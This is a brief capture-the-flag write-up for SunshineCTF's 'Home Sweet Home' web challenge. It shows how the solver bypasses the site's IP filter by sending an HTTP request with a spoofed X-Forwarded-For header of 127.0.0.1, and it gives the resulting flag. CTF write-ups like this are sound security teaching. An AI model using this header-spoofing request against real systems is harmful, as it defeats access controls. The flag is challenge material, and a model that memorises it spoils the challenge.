# ▼▼▼Home Sweet Home(150)	251/780=32.2％▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```Looks like this site is doing some IP filtering.That's very FORWARD thinking of them.
Have fun!
http://web1.sunshinectf.org:50005
Author: hackucf_levi
Update 2018-04-06 01:55 UTC: Point value decreased from 200 -> 150.```
---
**【exploit】**
`FORWARD` described in the problem sentence thought it was a hint.
↓
```GET / HTTP/1.1Host: web1.sunshinectf.org:50005X-Forwarded-For: 127.0.0.1```
↓
`sun{Th3rEs_n0_pl4cE_l1kE_127.0.0.1}`